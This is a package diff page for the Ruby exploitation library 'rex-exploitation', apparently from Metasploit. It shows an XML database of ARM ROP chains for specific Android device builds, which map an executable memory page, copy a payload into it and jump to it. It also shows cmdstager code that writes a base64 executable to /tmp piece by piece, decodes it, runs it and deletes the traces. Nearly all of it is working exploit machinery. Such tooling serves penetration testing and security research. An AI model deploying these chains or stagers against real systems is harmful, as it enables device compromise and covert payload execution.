rex-exploitation 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
@@ -0,0 +1,225 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <db>
3
+ <rop>
4
+ <compatibility>
5
+ <target>lrx</target>
6
+ </compatibility>
7
+
8
+ <gadgets base="0xb66a0000">
9
+ <gadget value="junk">value to be skipped (r3)</gadget>
10
+ <gadget value="junk">value to be skipped (r4)</gadget>
11
+ <gadget offset="0x000042f9">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
12
+ <gadget value="0x00000000">mmap64 addres hint (none)</gadget>
13
+ <gadget value="0x00001000">mmap64 length (1 page)</gadget>
14
+ <gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
15
+ <gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
16
+ <gadget offset="0x001127b8">ptr to mmap64 (less 0x20)</gadget>
17
+ <gadget value="junk">value to be skipped (r7)</gadget>
18
+ <gadget offset="0x0008b7d9">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
19
+ <gadget value="0xffffffff">mmap64 fd</gadget>
20
+ <gadget value="0x00000000">mmap64 fd</gadget>
21
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
22
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
23
+ <gadget value="junk">value to be skipped (r7)</gadget>
24
+ <gadget offset="0x00058e63">pop {r4, pc}</gadget>
25
+ <gadget offset="0x00110438">ptr to memcpy (less 0x20)</gadget>
26
+ <gadget offset="0x00061597">pop {r1, r2, r7, pc}</gadget>
27
+ <gadget value="0xc600613c">memcpy src (address of payload)</gadget>
28
+ <gadget value="size">memcpy length (payload size)</gadget>
29
+ <gadget value="junk">value to be skipped (r7)</gadget>
30
+ <gadget offset="0x0008b7d9">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
31
+ <gadget value="junk">value to be skipped (r3)</gadget>
32
+ <gadget value="junk">value to be skipped (r4)</gadget>
33
+ <gadget value="junk">value to be skipped (r5)</gadget>
34
+ <gadget value="junk">value to be skipped (r6)</gadget>
35
+ <gadget value="junk">value to be skipped (r7)</gadget>
36
+ <gadget offset="0x0002fed3">bx r0</gadget>
37
+ </gadgets>
38
+ </rop>
39
+
40
+ <rop>
41
+ <compatibility>
42
+ <target>lmy-1</target>
43
+ </compatibility>
44
+
45
+ <gadgets base="0xb66a0000">
46
+ <gadget value="junk">value to be skipped (r3)</gadget>
47
+ <gadget value="junk">value to be skipped (r4)</gadget>
48
+ <gadget offset="0x000bfdbf">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
49
+ <gadget value="0x00000000">mmap64 addres hint (none)</gadget>
50
+ <gadget value="0x00001000">mmap64 length (1 page)</gadget>
51
+ <gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
52
+ <gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
53
+ <gadget offset="0x001137b4">ptr to mmap64 (less 0x20)</gadget>
54
+ <gadget value="junk">value to be skipped (r7)</gadget>
55
+ <gadget offset="0x0008c269">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
56
+ <gadget value="0xffffffff">mmap64 fd</gadget>
57
+ <gadget value="0x00000000">mmap64 fd</gadget>
58
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
59
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
60
+ <gadget value="junk">value to be skipped (r7)</gadget>
61
+ <gadget offset="0x0000f379">pop {r4, pc}</gadget>
62
+ <gadget offset="0x00111430">ptr to memcpy (less 0x20)</gadget>
63
+ <gadget offset="0x000a1251">pop {r1, r2, r7, pc}</gadget>
64
+ <gadget value="0xc600613c">memcpy src (address of payload)</gadget>
65
+ <gadget value="size">memcpy length (payload size)</gadget>
66
+ <gadget value="junk">value to be skipped (r7)</gadget>
67
+ <gadget offset="0x0008c269">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
68
+ <gadget value="junk">value to be skipped (r3)</gadget>
69
+ <gadget value="junk">value to be skipped (r4)</gadget>
70
+ <gadget value="junk">value to be skipped (r5)</gadget>
71
+ <gadget value="junk">value to be skipped (r6)</gadget>
72
+ <gadget value="junk">value to be skipped (r7)</gadget>
73
+ <gadget offset="0x000301a5">bx r0</gadget>
74
+ </gadgets>
75
+ </rop>
76
+
77
+ <rop>
78
+ <compatibility>
79
+ <target>lmy-2</target>
80
+ </compatibility>
81
+
82
+ <gadgets base="0xb66a0000">
83
+ <gadget value="junk">value to be skipped (r3)</gadget>
84
+ <gadget value="junk">value to be skipped (r4)</gadget>
85
+ <gadget offset="0x000bfe07">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
86
+ <gadget value="0x00000000">mmap64 addres hint (none)</gadget>
87
+ <gadget value="0x00001000">mmap64 length (1 page)</gadget>
88
+ <gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
89
+ <gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
90
+ <gadget offset="0x001137b4">ptr to mmap64 (less 0x20)</gadget>
91
+ <gadget value="junk">value to be skipped (r7)</gadget>
92
+ <gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
93
+ <gadget value="0xffffffff">mmap64 fd</gadget>
94
+ <gadget value="0x00000000">mmap64 fd</gadget>
95
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
96
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
97
+ <gadget value="junk">value to be skipped (r7)</gadget>
98
+ <gadget offset="0x0000f379">pop {r4, pc}</gadget>
99
+ <gadget offset="0x00111430">ptr to memcpy (less 0x20)</gadget>
100
+ <gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
101
+ <gadget value="0xc600613c">memcpy src (address of payload)</gadget>
102
+ <gadget value="size">memcpy length (payload size)</gadget>
103
+ <gadget value="junk">value to be skipped (r6)</gadget>
104
+ <gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
105
+ <gadget value="junk">value to be skipped (r3)</gadget>
106
+ <gadget value="junk">value to be skipped (r4)</gadget>
107
+ <gadget value="junk">value to be skipped (r5)</gadget>
108
+ <gadget value="junk">value to be skipped (r6)</gadget>
109
+ <gadget value="junk">value to be skipped (r7)</gadget>
110
+ <gadget offset="0x0000b3bd">bx r0</gadget>
111
+ </gadgets>
112
+ </rop>
113
+
114
+ <rop>
115
+ <compatibility>
116
+ <target>shamu / LYZ28E</target>
117
+ </compatibility>
118
+
119
+ <gadgets base="0xb66a0000">
120
+ <gadget value="junk">value to be skipped (r3)</gadget>
121
+ <gadget value="junk">value to be skipped (r4)</gadget>
122
+ <gadget offset="0x000bfe4f">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
123
+ <gadget value="0x00000000">mmap64 addres hint (none)</gadget>
124
+ <gadget value="0x00001000">mmap64 length (1 page)</gadget>
125
+ <gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
126
+ <gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
127
+ <gadget offset="0x0011e7b0">ptr to mmap64 (less 0x20)</gadget>
128
+ <gadget value="junk">value to be skipped (r7)</gadget>
129
+ <gadget offset="0x0008c279">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
130
+ <gadget value="0xffffffff">mmap64 fd</gadget>
131
+ <gadget value="0x00000000">mmap64 fd</gadget>
132
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
133
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
134
+ <gadget value="junk">value to be skipped (r7)</gadget>
135
+ <gadget offset="0x00044f71">pop {r4, pc}</gadget>
136
+ <gadget offset="0x0011c42c">ptr to memcpy (less 0x20)</gadget>
137
+ <gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
138
+ <gadget value="0xc600613c">memcpy src (address of payload)</gadget>
139
+ <gadget value="size">memcpy length (payload size)</gadget>
140
+ <gadget value="junk">value to be skipped (r6)</gadget>
141
+ <gadget offset="0x0008c279">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
142
+ <gadget value="junk">value to be skipped (r3)</gadget>
143
+ <gadget value="junk">value to be skipped (r4)</gadget>
144
+ <gadget value="junk">value to be skipped (r5)</gadget>
145
+ <gadget value="junk">value to be skipped (r6)</gadget>
146
+ <gadget value="junk">value to be skipped (r7)</gadget>
147
+ <gadget offset="0x0000f7cd">bx r0</gadget>
148
+ </gadgets>
149
+ </rop>
150
+
151
+ <rop>
152
+ <compatibility>
153
+ <target>shamu / LYZ28J</target>
154
+ </compatibility>
155
+
156
+ <gadgets base="0xb66a0000">
157
+ <gadget value="junk">value to be skipped (r3)</gadget>
158
+ <gadget value="junk">value to be skipped (r4)</gadget>
159
+ <gadget offset="0x000bfe07">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
160
+ <gadget value="0x00000000">mmap64 addres hint (none)</gadget>
161
+ <gadget value="0x00001000">mmap64 length (1 page)</gadget>
162
+ <gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
163
+ <gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
164
+ <gadget offset="0x0011e7b0">ptr to mmap64 (less 0x20)</gadget>
165
+ <gadget value="junk">value to be skipped (r7)</gadget>
166
+ <gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
167
+ <gadget value="0xffffffff">mmap64 fd</gadget>
168
+ <gadget value="0x00000000">mmap64 fd</gadget>
169
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
170
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
171
+ <gadget value="junk">value to be skipped (r7)</gadget>
172
+ <gadget offset="0x00044f71">pop {r4, pc}</gadget>
173
+ <gadget offset="0x0011c42c">ptr to memcpy (less 0x20)</gadget>
174
+ <gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
175
+ <gadget value="0xc600613c">memcpy src (address of payload)</gadget>
176
+ <gadget value="size">memcpy length (payload size)</gadget>
177
+ <gadget value="junk">value to be skipped (r6)</gadget>
178
+ <gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
179
+ <gadget value="junk">value to be skipped (r3)</gadget>
180
+ <gadget value="junk">value to be skipped (r4)</gadget>
181
+ <gadget value="junk">value to be skipped (r5)</gadget>
182
+ <gadget value="junk">value to be skipped (r6)</gadget>
183
+ <gadget value="junk">value to be skipped (r7)</gadget>
184
+ <gadget offset="0x0000f83d">bx r0</gadget>
185
+ </gadgets>
186
+ </rop>
187
+
188
+ <rop>
189
+ <compatibility>
190
+ <target>sm-g900v / OE1</target>
191
+ </compatibility>
192
+
193
+ <gadgets base="0xb66a0000">
194
+ <gadget value="junk">value to be skipped (r3)</gadget>
195
+ <gadget value="junk">value to be skipped (r4)</gadget>
196
+ <gadget offset="0x00092b85">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
197
+ <gadget value="0x00000000">mmap64 addres hint (none)</gadget>
198
+ <gadget value="0x00001000">mmap64 length (1 page)</gadget>
199
+ <gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
200
+ <gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
201
+ <gadget offset="0x0017af08">ptr to mmap64 (less 0x20)</gadget>
202
+ <gadget value="junk">value to be skipped (r7)</gadget>
203
+ <gadget offset="0x000a7a41">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
204
+ <gadget value="0xffffffff">mmap64 fd</gadget>
205
+ <gadget value="0x00000000">mmap64 fd</gadget>
206
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
207
+ <gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
208
+ <gadget value="junk">value to be skipped (r7)</gadget>
209
+ <gadget offset="0x00065467">pop {r4, pc}</gadget>
210
+ <gadget offset="0x0017a6e4">ptr to memcpy (less 0x20)</gadget>
211
+ <gadget offset="0x0009f359">pop {r1, r2, r7, pc}</gadget>
212
+ <gadget value="0xc600613c">memcpy src (address of payload)</gadget>
213
+ <gadget value="size">memcpy length (payload size)</gadget>
214
+ <gadget value="junk">value to be skipped (r7)</gadget>
215
+ <gadget offset="0x000a7a41">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
216
+ <gadget value="junk">value to be skipped (r3)</gadget>
217
+ <gadget value="junk">value to be skipped (r4)</gadget>
218
+ <gadget value="junk">value to be skipped (r5)</gadget>
219
+ <gadget value="junk">value to be skipped (r6)</gadget>
220
+ <gadget value="junk">value to be skipped (r7)</gadget>
221
+ <gadget offset="0x0000c409">bx r0</gadget>
222
+ </gadgets>
223
+ </rop>
224
+
225
+ </db>
@@ -0,0 +1,7 @@
1
+ require "rex/exploitation/version"
2
+
3
+ module Rex
4
+ module Exploitation
5
+ DATA_DIR = File.expand_path(File.join(__FILE__, '..', '..', '..', 'data'))
6
+ end
7
+ end
@@ -0,0 +1,11 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/exploitation/cmdstager/base'
4
+ require 'rex/exploitation/cmdstager/vbs'
5
+ require 'rex/exploitation/cmdstager/certutil'
6
+ require 'rex/exploitation/cmdstager/debug_write'
7
+ require 'rex/exploitation/cmdstager/debug_asm'
8
+ require 'rex/exploitation/cmdstager/tftp'
9
+ require 'rex/exploitation/cmdstager/bourne'
10
+ require 'rex/exploitation/cmdstager/echo'
11
+ require 'rex/exploitation/cmdstager/printf'
@@ -0,0 +1,189 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/text'
3
+ require 'rex/arch'
4
+
5
+ module Rex
6
+ module Exploitation
7
+
8
+ ###
9
+ #
10
+ # This class provides an interface to generating cmdstagers.
11
+ #
12
+ ###
13
+
14
+ class CmdStagerBase
15
+
16
+ def initialize(exe)
17
+ @linemax = 2047 # covers most likely cases
18
+ @exe = exe
19
+ end
20
+
21
+ #
22
+ # Generates the cmd payload including the h2bv2 decoder and encoded payload.
23
+ # The resulting commands also perform cleanup, removing any left over files
24
+ #
25
+ def generate(opts = {})
26
+ # Allow temporary directory override
27
+ @tempdir = opts[:temp]
28
+ @tempdir ||= "%TEMP%\\"
29
+ if (@tempdir == '.')
30
+ @tempdir = ''
31
+ end
32
+
33
+ opts[:linemax] ||= @linemax
34
+
35
+ generate_cmds(opts)
36
+ end
37
+
38
+
39
+ #
40
+ # This does the work of actually building an array of commands that
41
+ # when executed will create and run an executable payload.
42
+ #
43
+ def generate_cmds(opts)
44
+
45
+ # Initialize an arry of commands to execute
46
+ cmds = []
47
+
48
+ # Add the exe building commands
49
+ cmds += generate_cmds_payload(opts)
50
+
51
+ # Add the decoder script building commands
52
+ cmds += generate_cmds_decoder(opts)
53
+
54
+ compress_commands(cmds, opts)
55
+ end
56
+
57
+
58
+ #
59
+ # Generate the commands to create an encoded version of the
60
+ # payload file
61
+ #
62
+ def generate_cmds_payload(opts)
63
+
64
+ # First encode the payload
65
+ encoded = encode_payload(opts)
66
+
67
+ # Now split it up into usable pieces
68
+ parts = slice_up_payload(encoded, opts)
69
+
70
+ # Turn each part into a valid command
71
+ parts_to_commands(parts, opts)
72
+ end
73
+
74
+ #
75
+ # This method is intended to be override by the child class
76
+ #
77
+ def encode_payload(opts)
78
+ # Defaults to nothing
79
+ ""
80
+ end
81
+
82
+ #
83
+ # We take a string of data and turn it into an array of parts.
84
+ #
85
+ # We save opts[:extra] bytes out of every opts[:linemax] for the parts
86
+ # appended and prepended to the resulting elements.
87
+ #
88
+ def slice_up_payload(encoded, opts)
89
+ tmp = encoded.dup
90
+
91
+ parts = []
92
+ xtra_len = opts[:extra]
93
+ xtra_len ||= 0
94
+ while (tmp.length > 0)
95
+ parts << tmp.slice!(0, (opts[:linemax] - xtra_len))
96
+ end
97
+
98
+ parts
99
+ end
100
+
101
+ #
102
+ # Combine the parts of the encoded file with the stuff that goes
103
+ # before / after it -- example "echo " and " >>file"
104
+ #
105
+ def parts_to_commands(parts, opts)
106
+ # Return as-is
107
+ parts
108
+ end
109
+
110
+
111
+
112
+ #
113
+ # Generate the commands that will decode the file we just created
114
+ #
115
+ def generate_cmds_decoder(opts)
116
+ # Defaults to no commands.
117
+ []
118
+ end
119
+
120
+
121
+
122
+ #
123
+ # Compress commands into as few lines as possible. Minimizes the number of
124
+ # commands to execute while maximizing the number of commands per execution.
125
+ #
126
+ def compress_commands(cmds, opts)
127
+ new_cmds = []
128
+ line = ''
129
+
130
+ concat = opts[:concat_operator] || cmd_concat_operator
131
+
132
+ # We cannot compress commands if there is no way to combine commands on
133
+ # a single line.
134
+ return cmds unless concat
135
+
136
+ cmds.each { |cmd|
137
+
138
+ # If this command will fit, concat it and move on.
139
+ if ((line.length + cmd.length + concat.length) < opts[:linemax])
140
+ line << concat if line.length > 0
141
+ line << cmd
142
+ next
143
+ end
144
+
145
+ # The command wont fit concat'd to this line, if we have something,
146
+ # we have to add it to the array now.
147
+ if (line.length > 0)
148
+ new_cmds << line
149
+ line = ''
150
+ end
151
+
152
+ # If it won't fit even after emptying the current line, error out..
153
+ if (cmd.length > opts[:linemax])
154
+ raise RuntimeError, 'Line too long - %u bytes, max %u' % [cmd.length, opts[:linemax]]
155
+ end
156
+
157
+ # It will indeed fit by itself, lets add it.
158
+ line << cmd
159
+
160
+ }
161
+ new_cmds << line if (line.length > 0)
162
+
163
+ # Return the final array.
164
+ new_cmds
165
+ end
166
+
167
+ #
168
+ # Can be overriden. For exmaple, use for unix use ";" instead
169
+ #
170
+ def cmd_concat_operator
171
+ nil
172
+ end
173
+
174
+ # Should be overriden if the cmd stager needs to setup anything
175
+ # before it's executed
176
+ def setup(mod = nil)
177
+
178
+ end
179
+
180
+ #
181
+ # Should be overriden if the cmd stager needs to do any clenaup
182
+ #
183
+ def teardown(mod = nil)
184
+
185
+ end
186
+
187
+ end
188
+ end
189
+ end
@@ -0,0 +1,118 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ class CmdStagerBourne < CmdStagerBase
10
+
11
+ def initialize(exe)
12
+ super
13
+
14
+ @var_encoded = Rex::Text.rand_text_alpha(5) + '.b64'
15
+ @var_decoded = Rex::Text.rand_text_alpha(5)
16
+ end
17
+
18
+ def generate(opts = {})
19
+ opts[:temp] = opts[:temp] || '/tmp/'
20
+ opts[:temp] = opts[:temp].empty?? opts[:temp] : opts[:temp] + '/'
21
+ opts[:temp] = opts[:temp].gsub(/\/{2,}/, '/')
22
+ opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
23
+ opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
24
+ if (opts[:file])
25
+ @var_encoded = opts[:file] + '.b64'
26
+ @var_decoded = opts[:file]
27
+ end
28
+ super
29
+ end
30
+
31
+ #
32
+ # Override just to set the extra byte count
33
+ #
34
+ def generate_cmds(opts)
35
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
36
+ @cmd_start = "echo -n "
37
+ @cmd_end = ">>'#{@tempdir}#{@var_encoded}'"
38
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
39
+ opts.merge!({ :extra => xtra_len })
40
+ super
41
+ end
42
+
43
+
44
+ #
45
+ # Simple base64...
46
+ #
47
+ def encode_payload(opts)
48
+ Rex::Text.encode_base64(@exe)
49
+ end
50
+
51
+
52
+ #
53
+ # Combine the parts of the encoded file with the stuff that goes
54
+ # before / after it.
55
+ #
56
+ def parts_to_commands(parts, opts)
57
+
58
+ cmds = []
59
+ parts.each do |p|
60
+ cmd = ''
61
+ cmd << @cmd_start
62
+ cmd << p
63
+ cmd << @cmd_end
64
+ cmds << cmd
65
+ end
66
+
67
+ cmds
68
+ end
69
+
70
+ #
71
+ # Generate the commands that will decode the file we just created
72
+ #
73
+ def generate_cmds_decoder(opts)
74
+ decoders = [
75
+ "base64 --decode -",
76
+ "openssl enc -d -A -base64 -in /dev/stdin",
77
+ "python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
78
+ "perl -MMIME::Base64 -ne 'print decode_base64($_)'"
79
+ ]
80
+ decoder_cmd = []
81
+ decoders.each do |cmd|
82
+ binary = cmd.split(' ')[0]
83
+ decoder_cmd << "(which #{binary} >&2 && #{cmd})"
84
+ end
85
+ decoder_cmd = decoder_cmd.join(" || ")
86
+ decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > '#{@tempdir}#{@var_decoded}' < '#{@tempdir}#{@var_encoded}'"
87
+ [ decoder_cmd ]
88
+ end
89
+
90
+ def compress_commands(cmds, opts)
91
+ # Make it all happen
92
+ cmds << "chmod +x '#{@tempdir}#{@var_decoded}'"
93
+ # Background the process, allowing the cleanup code to continue and delete the data
94
+ # while allowing the original shell to continue to function since it isn't waiting
95
+ # on the payload to exit. The 'sleep' is required as '&' is a command terminator
96
+ # and having & and the cmds delimiter ';' next to each other is invalid.
97
+ if opts[:background]
98
+ cmds << "'#{@tempdir}#{@var_decoded}' & sleep 2"
99
+ else
100
+ cmds << "'#{@tempdir}#{@var_decoded}'"
101
+ end
102
+
103
+ # Clean up after unless requested not to..
104
+ if (not opts[:nodelete])
105
+ cmds << "rm -f '#{@tempdir}#{@var_decoded}'"
106
+ cmds << "rm -f '#{@tempdir}#{@var_encoded}'"
107
+ end
108
+
109
+ super
110
+ end
111
+
112
+ def cmd_concat_operator
113
+ " ; "
114
+ end
115
+
116
+ end
117
+ end
118
+ end